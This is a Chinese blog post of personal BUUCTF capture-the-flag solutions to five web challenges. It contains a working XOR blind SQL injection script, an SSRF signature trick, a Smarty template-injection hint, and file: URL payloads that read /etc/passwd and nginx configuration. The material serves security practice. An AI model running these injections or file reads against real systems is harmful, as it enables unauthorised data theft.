IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> BUUCTF 个人做题记录【7-03】 -> 正文阅读

[Python知识库]BUUCTF 个人做题记录【7-03】

目录

1.[De1CTF 2019]SSRF Me 1

2.[极客大挑战 2019]FinalSQL1

3.[CISCN2019 华东南赛区]Web11 1

4.[BSidesCF 2019]Futurella 1

5.[SUCTF 2019]Pythonginx 1


1.[De1CTF 2019]SSRF Me 1

很容易看出是一段代码,整理

?

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

来自:

有三个路由:/geneSign,//De1ta,/

1.

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

GET方式传入参数param,action固定为scan,调用getSign函数,我们看看


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

?对secert_key+param+action进行加密后返回

2.

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

从cookie接收action和sign参数,waf函数检测param参数,调用Task函数处理三个参数,之后返回执行结果task.Exec的执行结果

先看看waf函数

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

我们的param参数中不能出现gopher和file,也就是说这两个协议不可用

再看看Task函数


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

如果我们呢sandbox参数中的路径不存在,则为它创建一个目录

看看Exec()

 def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

要求我们传入的action参数含有scan和read就可以进行读取文件内容,结果保存在result中,之后返回result

3.

@app.route('/')
def index():
    return open("code.txt","r").read()

读取源码,也就是我们打开题目看到的那些

4.后面有个checkSign函数

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

?经getSign函数处理后的值于我们传入的sign参数比较,如果相等返回真,不等返回假

这里我们的sign参数可以/geneSign传参后得到

提示:

在这里插入图片描述

?

payload:

1.在geneSign里的getsign函数,他是用param和action做拼接的!而action是固定的scan ,也就是说,我们先使用geneSign,传参为flag.txtread,这样只会param+action拼接为 flag.txtreadscan,生成sign保存下来

?

?

2.[极客大挑战 2019]FinalSQL1

1,2,3,4,5依次点击,都不是,看到地址栏的变化,

?

?我们可以改id=6

clever!这个页面不简单,sql注入尝试

?

?这个id就是注入点

?存在过滤,一般存在过滤,sql注入的常用关键字一般都是过滤了,空格这些也不会落下,观察到页面并没有显示报错信息,我们考虑盲注,而盲注也是有不同的类型,其中的一种叫异或盲注

大佬的脚本

?

import requests
import sys
import time
 
#判断数据库名长度
def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:
            print("数据库名称的长度为:%d"%i)
            return i
#爆数据库名
def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= Max:
            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print("数据库名:",DBname)
    return DBname
 
def get_TBname(url):
    name=""
    i = 0
    print("字段内容为:")
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
            # 爆字段名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # 获取flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        if Mid == 31:
            break
        print(name)
    #速度太快显示不完全
        time.sleep(0.5)
 
 
if __name__=="__main__":
    url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)

?跑一下就可以拿到flag

3.[CISCN2019 华东南赛区]Web11 1

抓包看看

?

?

知识点:smart ssti

关于smart ssti:

smart是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。

来自:(2条消息) [CISCN2019 华东南赛区]Web11 1_succ3的博客-CSDN博客

?

参考:(2条消息) Smarty SSTI_合天网安实验室的博客-CSDN博客

这里我们用{/if}标签来构造payload?

?

?

4.[BSidesCF 2019]Futurella 1

?陌生的编码,看看源码

?

5.[SUCTF 2019]Pythonginx 1

知识点:

  • CVE-2019-9636:urlsplit不处理NFKC标准化
  • nginx重要文件的位置
  • url中的unicode漏洞引发的域名安全问题(19年black hat中的一个议题)
  • 跑python脚本(逃~。。。。)

这题自己其实已经找到了方法,但是还是没敢继续尝试。
首先我们需要知道nginx重要文件的位置:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

?大佬整理好的内容


@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"


    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host


    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

这也是本题的一个非预期解,利用了urlsplit不处理NFKC标准化:

?url=file:suctf.cc/etc/passwd

?

在这里插入图片描述

以上部分转载于:

(2条消息) [SUCTF 2019]Pythonginx 1_bfengj的博客-CSDN博客?

读取配置文件

?url=file:suctf.cc/usr/local/nginx/conf/nginx.conf

?

?

?

?

?

?

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-07-05 23:30:08  更:2022-07-05 23:30:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 14:08:24-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码